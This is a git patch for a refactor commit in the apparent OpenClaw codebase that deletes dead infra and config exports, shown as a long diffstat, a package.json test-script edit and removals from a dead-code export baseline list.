From d1684f48a31c30c9869f2a807a9ceee10ce492ce Mon Sep 17 00:00:00 2001 From: Peter Steinberger Date: Mon, 13 Jul 2026 12:00:47 -0700 Subject: [PATCH] refactor: delete dead infra and config exports (#106019) * refactor: delete dead infra and config exports * refactor: preserve live infra and config contracts * refactor(config): remove obsolete file-store lifecycle APIs * refactor(infra): finish current-main dead export cleanup --- package.json | 2 +- scripts/deadcode-exports.baseline.mjs | 547 ----- scripts/lib/package-dist-inventory.ts | 125 ++ .../lib/session-accessor-debt-baseline.json | 9 +- scripts/openclaw-npm-release-check.ts | 10 +- scripts/openclaw-prepack.ts | 2 +- scripts/package-openclaw-for-docker.mjs | 2 +- scripts/release-check.ts | 12 +- scripts/write-package-dist-inventory.ts | 2 +- src/acp/control-plane/manager.test-helpers.ts | 2 - src/agents/bash-tools.exec-runtime.test.ts | 11 +- .../bash-tools.exec.resolve-env-hook.test.ts | 2 +- src/agents/bash-tools.test.ts | 29 +- .../run.overflow-compaction.test.ts | 10 +- .../run/attempt.session-lock.test.ts | 1084 +--------- ...gent-subscribe.handlers.compaction.test.ts | 7 +- src/agents/harness/lifecycle.test.ts | 2 - .../main-session-restart-recovery.test.ts | 4 +- src/agents/mcp-http-fetch.test.ts | 2 +- src/agents/openclaw-gateway-tool.test.ts | 38 +- src/agents/sandbox-create-args.test.ts | 3 +- ...rphan-recovery.restart-integration.test.ts | 28 +- ...bagent-registry.persistence.resume.test.ts | 8 +- .../subagent-registry.persistence.test.ts | 8 +- src/agents/system-prompt-params.test.ts | 7 +- .../tools/video-generate-background.test.ts | 6 +- src/auto-reply/reply/commands-gating.test.ts | 13 - .../dispatch-from-config.test-harness.ts | 2 - src/auto-reply/reply/followup-runner.test.ts | 9 +- src/channels/turn/kernel.test.ts | 2 - src/cli/daemon-cli/restart-health.test.ts | 4 +- src/cli/daemon-cli/status.gather.test.ts | 6 +- src/cli/gateway-cli/run-loop.test.ts | 3 + src/cli/update-cli.test.ts | 2 +- src/commands/agent.test.ts | 2 - src/commands/doctor-sandbox.test.ts | 4 - src/commands/doctor-session-snapshots.test.ts | 2 - src/config/backup-rotation.ts | 15 +- src/config/channel-config-metadata.ts | 4 +- src/config/commands.test.ts | 3 +- src/config/commands.ts | 1 - ...onfig.allowlist-requires-allowfrom.test.ts | 12 +- src/config/config.backup-rotation.test.ts | 132 +- src/config/config.env-vars.test.ts | 12 +- src/config/cron-limits.ts | 2 +- src/config/env-vars.ts | 1 - src/config/includes.test.ts | 70 +- src/config/includes.ts | 6 +- src/config/io.audit.test.ts | 203 +- src/config/io.audit.ts | 2 +- src/config/io.health-state.ts | 2 +- src/config/io.invalid-config.test.ts | 50 +- src/config/io.invalid-config.ts | 4 +- src/config/io.observe-recovery.test.ts | 7 +- src/config/io.observe-recovery.ts | 4 +- src/config/io.observe-suspicious.ts | 2 +- src/config/io.owner-display-secret.test.ts | 9 +- src/config/io.owner-display-secret.ts | 2 +- src/config/io.write-prepare.test.ts | 140 +- src/config/io.write-prepare.ts | 2 +- src/config/issue-format.test.ts | 45 +- src/config/issue-format.ts | 4 +- src/config/markdown-tables.ts | 5 - src/config/media-audio-field-metadata.ts | 2 +- src/config/mutate.ts | 4 +- src/config/mutation-types.ts | 2 + src/config/patch-replace-paths.ts | 2 +- src/config/plugin-auto-enable.shared.ts | 4 - src/config/redact-snapshot.restore.test.ts | 2 +- src/config/redact-snapshot.test-helpers.ts | 3 +- src/config/redact-snapshot.test.ts | 3 +- src/config/runtime-group-policy.test.ts | 38 +- src/config/runtime-group-policy.ts | 11 +- src/config/schema-base.ts | 2 +- src/config/schema.help.quality.test.ts | 4 +- src/config/schema.hints.test.ts | 29 +- src/config/schema.hints.ts | 5 +- src/config/schema.tags.ts | 6 +- src/config/schema.test.ts | 67 +- src/config/schema.ts | 14 +- src/config/sessions.cache.test.ts | 353 +-- src/config/sessions.test.ts | 390 ---- src/config/sessions.ts | 9 - src/config/sessions/artifacts.test.ts | 31 +- src/config/sessions/artifacts.ts | 6 +- src/config/sessions/cleanup-service.ts | 4 +- src/config/sessions/disk-budget.ts | 4 +- src/config/sessions/entry-freshness.ts | 6 +- src/config/sessions/goals.ts | 2 +- src/config/sessions/lifecycle.ts | 2 +- src/config/sessions/paths.ts | 12 +- src/config/sessions/plugin-host-cleanup.ts | 2 +- src/config/sessions/reset-policy.ts | 6 +- src/config/sessions/reset.test.ts | 24 +- src/config/sessions/reset.ts | 5 +- src/config/sessions/runtime-types.ts | 1 - .../session-accessor.conformance.test.ts | 37 - .../sessions/session-accessor.sqlite.ts | 47 - .../sessions/session-registry-maintenance.ts | 4 +- .../sessions/session-transcript-index.ts | 2 +- .../session-transcript-search.test.ts | 110 +- .../sessions/session-transcript-search.ts | 10 - src/config/sessions/sessions.test.ts | 43 +- src/config/sessions/skill-prompt-blobs.ts | 21 - src/config/sessions/store-cache.ts | 114 +- src/config/sessions/store-load.ts | 39 +- .../sessions/store-maintenance-operations.ts | 4 +- .../sessions/store-maintenance-preserve.ts | 2 +- src/config/sessions/store-maintenance.ts | 8 +- src/config/sessions/store-writer-state.ts | 6 +- src/config/sessions/store-writer.test.ts | 7 +- src/config/sessions/store-writer.ts | 2 +- .../store.agent-harness-invariant.test.ts | 248 --- src/config/sessions/store.pruning.test.ts | 32 +- .../sessions/store.skills-stripping.test.ts | 115 +- src/config/sessions/store.ts | 730 +------ .../transcript-append.test-support.ts | 117 +- src/config/sessions/transcript-jsonl.ts | 36 - src/config/sessions/transcript-replay.ts | 2 +- src/config/sessions/transcript-stream.ts | 4 +- src/config/sessions/transcript-tree.ts | 4 +- .../sessions/transcript-write-context.ts | 23 - src/config/sessions/transcript.test.ts | 116 +- src/config/sessions/transcript.ts | 8 +- src/config/sessions/types.ts | 28 +- src/config/state-dir-dotenv.ts | 6 +- src/config/validation.allowed-values.test.ts | 114 +- src/config/validation.test.ts | 436 ---- src/config/validation.ts | 6 - src/config/version.test.ts | 54 +- src/config/version.ts | 4 +- src/config/zod-schema.agent-runtime.ts | 2 +- src/config/zod-schema.agents.ts | 2 +- src/config/zod-schema.core.ts | 44 +- src/config/zod-schema.locale.test.ts | 52 +- src/config/zod-schema.markdown-tables.test.ts | 8 +- src/config/zod-schema.providers-core.ts | 175 +- src/config/zod-schema.providers-googlechat.ts | 6 +- .../zod-schema.providers-whatsapp.test.ts | 27 +- src/config/zod-schema.providers-whatsapp.ts | 2 +- src/config/zod-schema.proxy.ts | 2 +- src/config/zod-schema.ts | 4 +- src/cron/service.every-jobs-fire.test.ts | 3 - src/daemon/program-args.test.ts | 46 + src/gateway/gateway-misc.test.ts | 2 - src/gateway/gateway.test.ts | 4 +- src/gateway/server-chat.agent-events.test.ts | 27 +- src/gateway/server-http.probe.test.ts | 5 - src/gateway/server-http.request-trace.test.ts | 2 - ...erver-methods.suspension-admission.test.ts | 7 +- .../agent.events-and-subagents.test-utils.ts | 6 +- .../agent.media-and-routing.test-utils.ts | 10 +- src/gateway/server-methods/push.test.ts | 3 +- src/gateway/server-methods/update.test.ts | 5 +- .../server-network-runtime.e2e.test.ts | 6 +- src/gateway/server-node-events.test.ts | 3 - src/gateway/server-reload-handlers.test.ts | 13 +- src/gateway/server-restart-sentinel.test.ts | 55 +- src/gateway/server-session-key.test.ts | 6 +- .../server.chat.gateway-server-chat-b.test.ts | 66 +- .../plugins-http.suspension-admission.test.ts | 6 +- .../session-transcript-readers.test.ts | 104 +- src/gateway/session-utils.search.test.ts | 4 +- src/gateway/session-utils.subagent.test.ts | 6 +- .../session-utils.telegram-recreate.test.ts | 86 +- src/gateway/test-helpers.server.ts | 28 +- src/hooks/gmail.windows.test.ts | 9 +- src/infra/active-node-context.ts | 6 +- src/infra/agent-events.test.ts | 6 - src/infra/agent-events.ts | 38 +- .../approval-native-route-coordinator.test.ts | 20 +- .../approval-native-route-coordinator.ts | 9 - src/infra/approval-native-runtime.test.ts | 17 +- src/infra/approval-resolution-ref.test.ts | 22 +- src/infra/approval-resolution-ref.ts | 2 +- src/infra/approval-view-model.test.ts | 18 +- src/infra/approval-view-model.ts | 9 - src/infra/approval-view-model.types.ts | 5 - src/infra/archive.test.ts | 7 +- src/infra/archive.ts | 1 - src/infra/backup-create-stream.ts | 15 + src/infra/backup-create.test.ts | 120 +- src/infra/backup-create.ts | 163 +- src/infra/backup-create.windows.test.ts | 4 +- src/infra/backup-tar-retry.ts | 89 + src/infra/backup-volatile-stat-cache.ts | 38 + src/infra/browser-open.test.ts | 28 +- src/infra/clawhub-install-trust.ts | 6 +- src/infra/clawhub.promotions.test.ts | 80 +- src/infra/clawhub.test.ts | 32 +- src/infra/clawhub.ts | 26 +- src/infra/command-analysis/explain.test.ts | 41 +- src/infra/command-analysis/explain.ts | 8 +- src/infra/command-analysis/policy.ts | 2 +- src/infra/command-analysis/risks.test.ts | 19 +- src/infra/command-analysis/risks.ts | 8 +- src/infra/command-carriers.ts | 2 +- src/infra/command-explainer/extract.test.ts | 213 +- .../command-explainer/tree-sitter-runtime.ts | 20 +- src/infra/control-ui-assets.test.ts | 70 - src/infra/control-ui-assets.ts | 6 +- src/infra/delivery-queue-sqlite.ts | 6 +- src/infra/delivery-recovery.shared.ts | 2 +- src/infra/detect-binary.test.ts | 11 +- src/infra/dev-install-branch.test.ts | 46 +- src/infra/dev-install-branch.ts | 2 +- src/infra/device-bootstrap.test.ts | 44 +- src/infra/device-bootstrap.ts | 4 +- src/infra/device-pairing-migration.ts | 2 +- src/infra/device-pairing-prune.test.ts | 4 +- src/infra/device-pairing-store.ts | 6 +- src/infra/device-pairing.test.ts | 3 +- src/infra/device-pairing.ts | 27 +- src/infra/diagnostic-events.test.ts | 2 - src/infra/diagnostic-trace-context.test.ts | 7 +- src/infra/diagnostic-trace-context.ts | 5 - src/infra/dispatch-wrapper-resolution.ts | 2 - src/infra/ed25519-signature.test.ts | 7 +- src/infra/ed25519-signature.ts | 2 +- src/infra/event-session-routing.test.ts | 27 - src/infra/event-session-routing.ts | 2 +- src/infra/exec-approval-forwarder.test.ts | 25 +- src/infra/exec-approval-forwarder.ts | 2 +- src/infra/exec-approval-policy-snapshot.ts | 2 +- src/infra/exec-approvals-effective.ts | 2 +- src/infra/exec-approvals-safe-bins.test.ts | 23 +- src/infra/exec-approvals-store.test.ts | 477 +---- src/infra/exec-approvals.ts | 32 +- src/infra/exec-authorization-plan.ts | 8 +- src/infra/exec-authorization-render.ts | 6 +- src/infra/exec-control-command-guard.ts | 2 +- src/infra/exec-policy.ts | 2 +- src/infra/exec-safe-bin-policy-profiles.ts | 39 +- src/infra/exec-safe-bin-policy.test.ts | 101 +- src/infra/exec-safe-bin-policy.ts | 5 - src/infra/exec-wrapper-resolution.test.ts | 21 +- src/infra/exec-wrapper-resolution.ts | 6 +- src/infra/exec-wrapper-tokens.ts | 2 +- src/infra/executable-path.test.ts | 49 +- src/infra/executable-path.ts | 2 +- src/infra/file-identity.test.ts | 4 +- src/infra/file-store.ts | 2 +- src/infra/fs-safe-advanced.ts | 3 - src/infra/gateway-active-work.ts | 2 +- src/infra/gateway-boot-lifecycle.test.ts | 9 +- src/infra/gateway-boot-lifecycle.ts | 8 +- src/infra/gateway-lock.test.ts | 8 +- src/infra/gateway-suspend-coordinator.test.ts | 88 +- src/infra/gateway-suspend-coordinator.ts | 20 +- src/infra/git-commit.test.ts | 15 +- src/infra/git-commit.ts | 11 +- src/infra/hardlink-guards.test.ts | 73 - src/infra/heartbeat-cooldown.test.ts | 70 +- src/infra/heartbeat-cooldown.ts | 6 +- ...t-runner.active-hours-schedule.e2e.test.ts | 2 - .../heartbeat-runner.commitments.test.ts | 3 +- src/infra/heartbeat-runner.scheduler.test.ts | 6 +- .../heartbeat-runner.timeout-warning.test.ts | 6 +- src/infra/heartbeat-wake.test.ts | 116 +- src/infra/heartbeat-wake.ts | 29 +- src/infra/host-env-security.test.ts | 3 +- src/infra/infra-runtime.test.ts | 147 +- src/infra/infra-store.test.ts | 23 +- src/infra/inline-option-token.ts | 2 +- src/infra/install-source-utils.ts | 2 +- src/infra/jsonl-socket.test.ts | 72 +- src/infra/jsonl-socket.ts | 6 - src/infra/net/fetch-guard.ssrf.test.ts | 3 +- src/infra/net/http-connect-tunnel.ts | 2 +- src/infra/net/proxy-fetch.test.ts | 8 +- src/infra/net/proxy/active-proxy-state.ts | 8 - .../net/proxy/managed-proxy-undici.test.ts | 19 +- src/infra/net/proxy/proxy-lifecycle.test.ts | 25 +- src/infra/net/proxy/proxy-validation.test.ts | 189 +- src/infra/net/proxy/proxy-validation.ts | 28 +- src/infra/net/runtime-fetch.test.ts | 3 +- src/infra/net/ssrf.dispatcher.test.ts | 3 +- .../net/undici-global-dispatcher.test.ts | 3 - src/infra/net/undici-runtime.test.ts | 25 +- src/infra/net/undici-runtime.ts | 2 +- src/infra/node-pairing-migration.test.ts | 61 +- src/infra/node-pairing-migration.ts | 2 +- src/infra/node-pairing.ts | 2 +- src/infra/npm-integrity.test.ts | 103 +- src/infra/npm-integrity.ts | 2 +- src/infra/npm-managed-root.ts | 2 +- src/infra/npm-pack-install.test.ts | 89 +- src/infra/npm-pack-install.ts | 2 +- src/infra/npm-registry-spec.test.ts | 11 - src/infra/npm-registry-spec.ts | 2 +- src/infra/openclaw-exec-env.test.ts | 3 +- src/infra/openclaw-exec-env.ts | 2 +- src/infra/openclaw-root.test.ts | 17 +- src/infra/openclaw-root.ts | 10 - src/infra/outbound/channel-resolution.test.ts | 4 +- src/infra/outbound/channel-resolution.ts | 10 +- src/infra/outbound/channel-selection.test.ts | 17 +- src/infra/outbound/channel-selection.ts | 6 - src/infra/outbound/deliver-types.ts | 3 +- .../deliver.queue-integration.test.ts | 5 +- src/infra/outbound/deliver.test.ts | 20 +- src/infra/outbound/deliver.ts | 1 - src/infra/outbound/delivery-queue-recovery.ts | 8 +- .../outbound/delivery-queue.policy.test.ts | 93 +- .../delivery-queue.reconnect-drain.test.ts | 6 +- .../outbound/delivery-queue.recovery.test.ts | 6 +- .../outbound/delivery-queue.storage.test.ts | 10 +- src/infra/outbound/delivery-queue.ts | 8 - src/infra/outbound/directory-cache.test.ts | 13 +- src/infra/outbound/directory-cache.ts | 2 +- src/infra/outbound/message.test.ts | 11 +- src/infra/outbound/payloads.test.ts | 69 +- src/infra/outbound/payloads.ts | 7 - src/infra/outbound/target-errors.test.ts | 27 +- src/infra/outbound/target-errors.ts | 6 +- .../outbound/target-normalization.test.ts | 19 +- src/infra/outbound/target-normalization.ts | 8 - src/infra/outbound/target-resolver.test.ts | 8 +- src/infra/outbound/target-resolver.ts | 2 +- src/infra/package-dist-inventory.test.ts | 165 +- src/infra/package-dist-inventory.ts | 121 +- src/infra/package-json.ts | 2 +- src/infra/package-manager-exec-wrapper.ts | 4 +- src/infra/package-update-steps.test.ts | 7 +- src/infra/package-update-steps.ts | 2 +- src/infra/pairing-files.ts | 2 +- src/infra/pairing-token.test.ts | 8 +- src/infra/pairing-token.ts | 2 +- src/infra/path-guards.test.ts | 27 - src/infra/path-guards.ts | 9 - src/infra/path-safety.test.ts | 11 +- src/infra/path-safety.ts | 8 - src/infra/permissions.ts | 7 - src/infra/ports-format.test.ts | 28 - src/infra/ports-format.ts | 4 +- src/infra/ports-netstat.ts | 2 +- src/infra/ports.ts | 20 +- src/infra/private-file-store.ts | 2 +- src/infra/promotions-feed.test.ts | 66 +- src/infra/promotions-feed.ts | 6 +- src/infra/push-apns-http2.test.ts | 7 +- src/infra/push-apns-http2.ts | 8 +- src/infra/push-apns.auth.test.ts | 10 - src/infra/push-apns.relay.test.ts | 44 +- src/infra/push-apns.relay.ts | 4 +- src/infra/push-apns.ts | 7 +- src/infra/push-web.test.ts | 23 +- src/infra/push-web.ts | 2 +- src/infra/regular-file.ts | 4 - src/infra/resolve-system-bin.test.ts | 394 ++-- src/infra/resolve-system-bin.ts | 16 +- src/infra/restart-coordinator.ts | 6 +- src/infra/restart-handoff.test.ts | 107 +- src/infra/restart-handoff.ts | 8 +- src/infra/restart-sentinel.ts | 8 +- src/infra/restart-stale-pids.test.ts | 82 +- src/infra/restart-stale-pids.ts | 21 +- src/infra/restart-suspension.test.ts | 17 +- src/infra/restart.deferral-timeout.test.ts | 36 +- src/infra/restart.test.ts | 11 +- src/infra/restart.ts | 35 +- src/infra/root-paths.ts | 1 - src/infra/runtime-guard.test.ts | 79 +- src/infra/runtime-guard.ts | 8 +- src/infra/session-cost-usage-cache.sqlite.ts | 27 - .../session-cost-usage.stream-errors.test.ts | 39 +- src/infra/session-cost-usage.test.ts | 1900 ++--------------- src/infra/session-cost-usage.ts | 120 +- src/infra/session-delivery-queue-recovery.ts | 2 +- .../session-delivery-queue.recovery.test.ts | 44 +- .../session-delivery-queue.storage.test.ts | 4 +- src/infra/session-delivery-queue.ts | 4 - src/infra/session-maintenance-warning.test.ts | 47 +- src/infra/session-maintenance-warning.ts | 11 - src/infra/shell-env.test.ts | 41 +- src/infra/shell-env.ts | 8 - src/infra/shell-inline-command.test.ts | 81 +- src/infra/shell-inline-command.ts | 2 +- src/infra/sqlite-integrity.ts | 2 +- src/infra/sqlite-snapshot.ts | 10 +- src/infra/sqlite-wal.test.ts | 68 - src/infra/sqlite-wal.ts | 6 +- src/infra/stale-lock-file.ts | 2 +- .../state-migrations.cron-run-logs.test.ts | 3 +- src/infra/state-migrations.cron-run-logs.ts | 4 +- src/infra/state-migrations.debug-proxy.ts | 2 +- src/infra/state-migrations.fs.test.ts | 10 - src/infra/state-migrations.fs.ts | 11 - .../state-migrations.orphan-keys.test.ts | 104 +- src/infra/state-migrations.session-store.ts | 2 +- src/infra/state-migrations.ts | 1 - src/infra/supervisor-markers.ts | 2 +- src/infra/system-run-approval-binding.test.ts | 63 - src/infra/system-run-approval-binding.ts | 2 +- src/infra/system-run-command.test.ts | 500 +---- src/infra/system-run-command.ts | 2 +- src/infra/tailnet.test.ts | 35 +- src/infra/tailnet.ts | 2 +- src/infra/tailscale.test.ts | 143 +- src/infra/tailscale.ts | 9 +- src/infra/update-channels.test.ts | 86 +- src/infra/update-channels.ts | 9 +- src/infra/update-check.test.ts | 143 +- src/infra/update-check.ts | 20 +- src/infra/update-global.test.ts | 419 +--- src/infra/update-global.ts | 10 +- .../update-managed-service-handoff.test.ts | 30 +- src/infra/update-managed-service-handoff.ts | 4 +- src/infra/update-package-manager.test.ts | 7 +- src/infra/update-package-manager.ts | 2 +- src/infra/update-post-core-finalize.test.ts | 4 +- src/infra/update-post-core-finalize.ts | 4 +- src/infra/update-runner.test.ts | 2 +- src/infra/update-runner.ts | 4 +- src/infra/voicewake-routing.test.ts | 5 - src/infra/voicewake-routing.ts | 2 +- src/infra/windows-encoding.test.ts | 7 - src/infra/windows-encoding.ts | 2 +- src/infra/windows-install-roots.test.ts | 127 +- src/infra/windows-install-roots.ts | 27 +- src/infra/windows-shell-command.ts | 6 +- src/logging/diagnostic-log-events.test.ts | 2 - src/logging/logger-redaction-behavior.test.ts | 2 - src/node-host/invoke.sanitize-env.test.ts | 7 - .../agent-harness-exec-review-runtime.ts | 5 +- .../contracts/runtime-seams.contract.test.ts | 2 +- src/plugins/runtime/index.test.ts | 11 +- src/plugins/runtime/types-channel.ts | 12 +- src/plugins/runtime/types-core.ts | 14 +- src/process/exec.test.ts | 3 +- src/process/exec.windows.test.ts | 21 +- src/process/supervisor/adapters/child.test.ts | 24 +- src/security/windows-acl.test.ts | 979 +-------- src/security/windows-acl.ts | 2 +- src/sessions/session-state-events.test.ts | 14 +- src/tasks/task-executor.test.ts | 9 +- src/tasks/task-registry.test.ts | 69 +- src/test-utils/session-state-cleanup.test.ts | 7 +- src/tui/tui.resolve-codex-bin.test.ts | 11 +- .../config/redact-snapshot-test-hints.ts | 7 +- .../cron/service-regression-fixtures.ts | 4 +- test/openclaw-npm-release-check.test.ts | 8 +- test/release-check.test.ts | 8 +- .../postinstall-bundled-plugins.test.ts | 2 +- 444 files changed, 3161 insertions(+), 14814 deletions(-) create mode 100644 scripts/lib/package-dist-inventory.ts create mode 100644 src/config/mutation-types.ts delete mode 100644 src/config/validation.test.ts create mode 100644 src/infra/backup-create-stream.ts create mode 100644 src/infra/backup-tar-retry.ts create mode 100644 src/infra/backup-volatile-stat-cache.ts delete mode 100644 src/infra/hardlink-guards.test.ts diff --git a/package.json b/package.json index 691fe4cc58ae..de421ebca610 100644 --- a/package.json +++ b/package.json @@ -1961,7 +1961,7 @@ "test:unit:fast:audit": "node scripts/test-unit-fast-audit.mjs", "test:voicecall:closedloop": "node scripts/test-voicecall-closedloop.mjs", "test:watch": "node scripts/test-projects.mjs --watch", - "test:windows:ci": "node scripts/test-projects.mjs src/shared/runtime-import.test.ts src/process/exec.windows.test.ts src/process/windows-command.test.ts src/infra/backup-create.windows.test.ts src/infra/windows-install-roots.test.ts src/node-host/invoke-system-run-allowlist.test.ts src/daemon/schtasks.startup-fallback.test.ts extensions/lobster/src/lobster-runner.test.ts test/scripts/format-generated-module.test.ts test/scripts/npm-runner.test.ts test/scripts/openclaw-cross-os-release-workflow.test.ts test/scripts/pnpm-runner.test.ts test/scripts/run-with-env.test.ts test/scripts/ts-topology.test.ts test/scripts/ui.test.ts test/scripts/vitest-process-group.test.ts", + "test:windows:ci": "node scripts/test-projects.mjs src/shared/runtime-import.test.ts src/process/exec.windows.test.ts src/process/windows-command.test.ts src/infra/windows-install-roots.test.ts src/node-host/invoke-system-run-allowlist.test.ts src/daemon/schtasks.startup-fallback.test.ts extensions/lobster/src/lobster-runner.test.ts test/scripts/format-generated-module.test.ts test/scripts/npm-runner.test.ts test/scripts/openclaw-cross-os-release-workflow.test.ts test/scripts/pnpm-runner.test.ts test/scripts/run-with-env.test.ts test/scripts/ts-topology.test.ts test/scripts/ui.test.ts test/scripts/vitest-process-group.test.ts", "tool-display:check": "node --import tsx scripts/tool-display.ts --check", "tool-display:write": "node --import tsx scripts/tool-display.ts --write", "ts-topology": "node --import tsx scripts/ts-topology.ts", diff --git a/scripts/deadcode-exports.baseline.mjs b/scripts/deadcode-exports.baseline.mjs index 717abc5cda0c..92b424e07c1c 100644 --- a/scripts/deadcode-exports.baseline.mjs +++ b/scripts/deadcode-exports.baseline.mjs @@ -1311,214 +1311,6 @@ export const KNIP_UNUSED_EXPORT_BASELINE = [ "src/commitments/store.ts: saveCommitmentStore", "src/compat/legacy-names.ts: MACOS_APP_SOURCES_DIR", "src/compat/legacy-names.ts: PROJECT_NAME", - "src/config/backup-rotation.ts: cleanOrphanBackups", - "src/config/backup-rotation.ts: hardenBackupPermissions", - "src/config/backup-rotation.ts: rotateConfigBackups", - "src/config/channel-config-metadata.ts: ChannelDmPolicyMetadata", - "src/config/channel-config-metadata.ts: ChannelSchemaMetadataWithOwnership", - "src/config/commands.ts: isCommandFlagEnabled", - "src/config/commands.ts: isRestartEnabled", - "src/config/cron-limits.ts: DEFAULT_CRON_TRIGGER_MIN_INTERVAL_MS", - "src/config/env-vars.ts: collectDurableServiceEnvVars", - "src/config/env-vars.ts: readStateDirDotEnvVars", - "src/config/includes.ts: deepMerge", - "src/config/includes.ts: MAX_INCLUDE_FILE_BYTES", - "src/config/includes.ts: MAX_INCLUDE_PATH_LENGTH", - "src/config/io.audit.ts: redactConfigAuditArgv", - "src/config/io.health-state.ts: ConfigHealthStateDeps", - "src/config/io.invalid-config.ts: formatInvalidConfigLogMessage", - "src/config/io.invalid-config.ts: logInvalidConfigOnce", - "src/config/io.observe-recovery.ts: ObserveRecoveryDeps", - "src/config/io.observe-recovery.ts: resolveLastKnownGoodConfigPath", - "src/config/io.observe-suspicious.ts: ConfigObserveSuspiciousBaseline", - "src/config/io.owner-display-secret.ts: OwnerDisplaySecretRuntimeState", - "src/config/io.write-prepare.ts: unsetPathForWrite", - "src/config/issue-format.ts: normalizeConfigIssue", - "src/config/issue-format.ts: normalizeConfigIssuePath", - "src/config/markdown-tables.ts: ResolveMarkdownTableMode", - "src/config/markdown-tables.ts: ResolveMarkdownTableModeParams", - "src/config/markdown-tables.types.ts: ResolveMarkdownTableMode", - "src/config/media-audio-field-metadata.ts: MEDIA_AUDIO_FIELD_KEYS", - "src/config/mutate.ts: ConfigMutationBase", - "src/config/patch-replace-paths.ts: normalizeConfigPatchReplacePath", - "src/config/plugin-auto-enable.shared.ts: PluginAutoEnableCandidate", - "src/config/plugin-auto-enable.shared.ts: PluginAutoEnableResult", - "src/config/runtime-group-policy.ts: resetMissingProviderGroupPolicyFallbackWarningsForTesting", - "src/config/runtime-group-policy.ts: resolveRuntimeGroupPolicy", - "src/config/schema-base.ts: BaseConfigSchemaResponse", - "src/config/schema.hints.ts: __test__", - "src/config/schema.hints.ts: isPluginOwnedChannelHintPath", - "src/config/schema.hints.ts: isSensitiveConfigPath", - "src/config/schema.tags.ts: CONFIG_TAGS", - "src/config/schema.tags.ts: ConfigTag", - "src/config/schema.tags.ts: deriveTagsForPath", - "src/config/schema.ts: ConfigSchema", - "src/config/schema.ts: ConfigSchemaLookupChild", - "src/config/schema.ts: ConfigSchemaLookupResult", - "src/config/schema.ts: ConfigSchemaReloadKind", - "src/config/schema.ts: ConfigSchemaReloadMetadata", - "src/config/schema.ts: ConfigSchemaReloadMetadataResolver", - "src/config/schema.ts: ConfigUiHint", - "src/config/schema.ts: ConfigUiHints", - "src/config/sessions.ts: CanonicalizeSessionEntryAliasesResult", - "src/config/sessions.ts: DeleteSessionEntryLifecycleParams", - "src/config/sessions.ts: DeleteSessionEntryLifecycleResult", - "src/config/sessions.ts: ResetSessionEntryLifecycleParams", - "src/config/sessions.ts: ResetSessionEntryLifecycleResult", - "src/config/sessions.ts: ResolvedSessionEntryCandidateTarget", - "src/config/sessions.ts: SessionEntryCandidateAccessScope", - "src/config/sessions.ts: SessionLifecycleArchivedTranscript", - "src/config/sessions.ts: SessionLifecycleStoreTarget", - "src/config/sessions/artifacts.ts: isTrajectoryPointerArtifactName", - "src/config/sessions/artifacts.ts: isTrajectoryRuntimeArtifactName", - "src/config/sessions/artifacts.ts: parseCompactionCheckpointTranscriptFileName", - "src/config/sessions/cleanup-service.ts: SessionCleanupAction", - "src/config/sessions/cleanup-service.ts: SessionsCleanupRunResult", - "src/config/sessions/disk-budget.ts: SessionDiskBudgetConfig", - "src/config/sessions/disk-budget.ts: SessionDiskBudgetLogger", - "src/config/sessions/entry-freshness.ts: ResolvedSessionEntryResetFreshness", - "src/config/sessions/entry-freshness.ts: ResolveSessionEntryResetFreshnessParams", - "src/config/sessions/entry-freshness.ts: SessionEntryLifecycleTimestamps", - "src/config/sessions/goals.ts: SessionGoalSnapshot", - "src/config/sessions/lifecycle.ts: SESSION_WORK_START_INVALIDATED_ERROR_CODE", - "src/config/sessions/paths.ts: SAFE_SESSION_ID_RE", - "src/config/sessions/plugin-host-cleanup.ts: PluginHostSessionCleanupMode", - "src/config/sessions/reset-policy.ts: DEFAULT_RESET_AT_HOUR", - "src/config/sessions/reset-policy.ts: DEFAULT_RESET_MODE", - "src/config/sessions/reset-policy.ts: resolveDailyResetAtMs", - "src/config/sessions/reset.ts: DEFAULT_RESET_AT_HOUR", - "src/config/sessions/reset.ts: DEFAULT_RESET_MODE", - "src/config/sessions/reset.ts: isThreadSessionKey", - "src/config/sessions/reset.ts: resolveDailyResetAtMs", - "src/config/sessions/runtime-types.ts: ReadSessionUpdatedAt", - "src/config/sessions/runtime-types.ts: RecordSessionMetaFromInbound", - "src/config/sessions/runtime-types.ts: UpdateLastRoute", - "src/config/sessions/session-accessor.sqlite.ts: appendSqliteTranscriptEvents", - "src/config/sessions/session-accessor.sqlite.ts: deleteSqliteTranscript", - "src/config/sessions/session-accessor.sqlite.ts: sqliteTranscriptExists", - "src/config/sessions/session-registry-maintenance.ts: SessionRegistryMaintenanceStoreOptions", - "src/config/sessions/session-registry-maintenance.ts: SessionRegistryMaintenanceStoreSummary", - "src/config/sessions/session-transcript-index.ts: extractTranscriptIndexEntry", - "src/config/sessions/session-transcript-search.ts: resetSessionTranscriptSearchForTest", - "src/config/sessions/session-transcript-search.ts: waitForSessionTranscriptReconcileForTest", - "src/config/sessions/skill-prompt-blobs.ts: getSessionSkillPromptRefCacheStatsForTest", - "src/config/sessions/skill-prompt-blobs.ts: getValidSessionSkillPromptBlobCacheStatsForTest", - "src/config/sessions/store-cache.ts: DeepReadonly", - "src/config/sessions/store-cache.ts: getSerializedSessionStoreCacheStatsForTest", - "src/config/sessions/store-cache.ts: getSessionStoreSnapshotCacheStatsForTest", - "src/config/sessions/store-cache.ts: getSessionStoreStringInternStatsForTest", - "src/config/sessions/store-load.ts: LoadSessionStoreOptions", - "src/config/sessions/store-load.ts: ReadSessionEntryOptions", - "src/config/sessions/store-load.ts: readSessionStoreSnapshot", - "src/config/sessions/store-maintenance-operations.ts: FileBackedSessionStoreMaintenanceParams", - "src/config/sessions/store-maintenance-operations.ts: FileBackedSessionStoreMaintenanceResult", - "src/config/sessions/store-maintenance-preserve.ts: SessionMaintenancePreserveKeysProvider", - "src/config/sessions/store-maintenance.ts: isGatewayModelRunSessionKey", - "src/config/sessions/store-maintenance.ts: isProtectedSessionMaintenanceEntry", - "src/config/sessions/store-maintenance.ts: QuotaSuspensionEntryMaintenanceResult", - "src/config/sessions/store-maintenance.ts: resolveSessionEntryMaintenanceHighWater", - "src/config/sessions/store-writer-state.ts: getSessionStoreWriterQueueSizeForTest", - "src/config/sessions/store-writer-state.ts: SessionStoreWriterQueue", - "src/config/sessions/store-writer.ts: RunExclusiveSessionStoreWriteOptions", - "src/config/sessions/store.ts: applySessionEntryLifecycleMutation", - "src/config/sessions/store.ts: archiveRemovedSessionTranscripts", - "src/config/sessions/store.ts: capEntryCount", - "src/config/sessions/store.ts: cleanupSessionLifecycleArtifacts", - 